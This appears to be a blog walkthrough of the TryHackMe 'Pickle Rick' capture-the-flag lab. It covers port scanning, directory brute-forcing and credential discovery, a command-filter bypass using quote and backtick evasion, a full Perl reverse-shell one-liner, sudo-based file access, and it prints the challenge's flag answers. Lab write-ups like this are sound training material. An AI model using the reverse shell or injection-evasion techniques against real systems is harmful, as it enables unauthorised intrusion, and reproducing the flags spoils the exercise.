TryHackMe - Pickle Rick

A Rick and Morty CTF. Help turn Rick back into a human!


This Rick and Morty themed challenge requires you to exploit a webserver to find 3 ingredients that will help Rick make his potion to transform himself back into a human from a pickle.


Since we don't have any information about our target lets run an nmap scan to see if we can find any interesting service that is running on the machine that we can be exploited.

> nmap -sS -A -T4 -p- scan report for
Host is up (0.14s latency).
Not shown: 65533 closed ports
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 31:7b:f4:07:69:69:13:22:b9:1d:12:71:cc:89:21:aa (RSA)
| 256 35:2b:db:f7:4c:3a:8d:b9:a9:ae:6c:53:f4:c3:b4:af (ECDSA)
|_ 256 95:0f:37:24:eb:c2:f5:09:9d:b8:7c:3d:29:14:4e:ed (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Rick is sup4r cool

Command Options

  • -sS : Stealth Scan
  • -A : Aggresive Scan (OS Detection, Service Versioning and Some Scripts)
  • -T4 : Timing Template (Aggressive)
  • -p- : Scan all ports

From the scan results we can see that the only two ports that are open on the target are port 80 (HTTP) and port 22 (SSH). Since port 80 is HTTP we know that there is an web server that is running on the target. Lets access the website and see if we can find anything helpful.

Looking at the message on the homepage if looks like Rick cannot remember the ingredients that are required to turn him back to his human form and to make maters worse he does not remember his password.

Lets dig around on the website and see if we are able to find anything that will helps find the ingredients. Lets have a look at the source (Ctrl + U) of of the current page and see if we can find any hints.

Immediately we see that we have found an username “R1ckRul3s”. Lets note it down we may have to use it later.

Username: R1ckRul3s

We can have a lot at “robots.txt” for the website to see if we are given any clue about the the any hidden pages/ directories that are present on the website


We see a string that looks like gibberish but still lets note it down as its possible it could be an password for some sort of key that could come in handy later.


Since we where not able to find any information about other directories/ pages that might be present from robots.txt lets brute force the web server to see if we are able to find any directories. I have used “gobuster” for directory brute forcing

(Dirbuster can be used if you prefer a tool with GUI and dirb is an alternate command line based application)

gobuster dir -u -x txt,php,html -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100===============================================================
2021/03/10 17:06:43 Starting gobuster
/assets (Status: 301)
/index.html (Status: 200)
/portal.php (Status: 302)
/login.php (Status: 200)

Command Options

  • -u : URL of target
  • -x : File extensions to search will brute forcing
  • -w : Wordlist
  • -t : No. of threads

We where able to find some files that we where not aware existed. The result that stands out the most is the “login.php”.

We already have an username that we where able to find from the source of the main page. We don't have an password but we did find some strange string that could be an password. Lets try using that string and see if we are able to login.

Awesome we where able to login. If we try to access any of the tabs that are present on the page we get error saying they can only be accessed by the real Rick.

In front of us we have an Control Panel that allows us to enter commands lets try to enter an command and see we are getting any output.


We are able to view the files that are present in the root of the web server. The files that stand out here are “Sup3rS3cretPickl3Ingred.txt” , “portal.php” and “clue.txt”. Lets try to view the contents of the “Sup3rS3cretPickl3Ingred.txt” file

cat Sup3rS3cretPickl3Ingred.txt

We get an response saying that we cannot run that command. The command is “Disabled” that means the website is using some sort of blacklist to prevent certain commands from being executed.

We need to find an way to try and bypass the filtering if we want to access the “Super Secret” file. We can try using the various command injection bypasses and see if are able to get any of the blocked command to execute.

Two of the basic bypass techniques are:

  • Using double quotes (“) to enclose characters in the command
  • Inserting the back-tick (`) character between the command

Lets capture the request using Burpsuite and edit the value of the body that contains the command that we are trying to execute and see if we are able to bypass the filtering

As we can see that we where able to bypass the blacklist by using command injection evasion techniques. For more information on some of the other evasion techniques refer the attached resources

Now that we know how to evade the filtering lets access the portal.php file and see if we can find any credentials related to the database why we can exploit to gain access to the server.

Well no credentials were found but we where able to see the list of commands that are getting blocked by the webserver.

Approach 1 : Using Reverse Shell

The next logic process that we can try is to setup an reverse shell. So that we can access the other directories that are present on the server. For all the different types of reverse shells that can be setup checkout the amazing resource provided by “PayloadAllThings”

Lets setup a listener on our system using netcat (The Reverse Shell with connect to this listner on our system)

> netcat -nvlp 1234
listening on [any] 1234 ...

From the above resource I used the PHP reverse shell code to get an connection

(The bash and the netcat reverse shells scripts have also been found to work on this box as well)

perl -e 'use Socket;$i="";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Note : The IP in the above code needs to be changed with the TryHackMe VPN IP Address which can be found using “ip a show tun0” under inet

We have successfully setup a reverse shell. Lets look at the “clue.txt” file to see if we get an information as to where the other two ingredients might be hidden on the system.

$ cat clue.txt
Look around the file system for the other ingredient.

We are told to look around the filesystem. Lets look at the home directory of the current user to see if we can find anything.

> cd /home/rick> ls
second ingredients
> cat "second ingredients"
1 jerry tear

And we have found the second ingredient. Since the 2nd ingreddient was in the home directory there is an high chance for the 3rd ingredient to be located in the root users home directory. We need root user privilages to be able to access that directory. Lets have a look at permissions that the user rick is given on the system.

We see that “user rick can run all commands on all the hosts without any password” which is great we don't have to exploit any service to try and escalate our privileges.

> sudo ls /root
> sudo cat 3rd.txt
3rd ingredients: fleeb juice

And there we go we have found the 3rd ingredient as well.

Approach 2 : Using commands from Portal

By looking at “portal.php” we saw the commands that where blocked from being used. If we look closely at the list we see that the “less” command is not blocked so we can use that to view the files.

Note : Since we know how to bypass the filter as well. We can use the blocked commands as well.

less Sup3rS3cretPickl3Ingred.txt

And we have our 1st ingredient.

ls /home/rick

In the home directory of the current user we see there is an file called “second ingredients”. Lets view its contents to get the second flag.

less /home/rick/"second ingredients"

When we run the sudo -l command we see that we have we have permission to run all the commands on the system without password.

When we run sudo ls /root we see that there is an file called 3rd.txt present this should be our 3rd flag.

sudo less /root/3rd.txt

That’s all. Happy Hacking :)



Software Developer, Cloud Engineer, Cybersecurity Enthusiast, Insatiable Learner

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store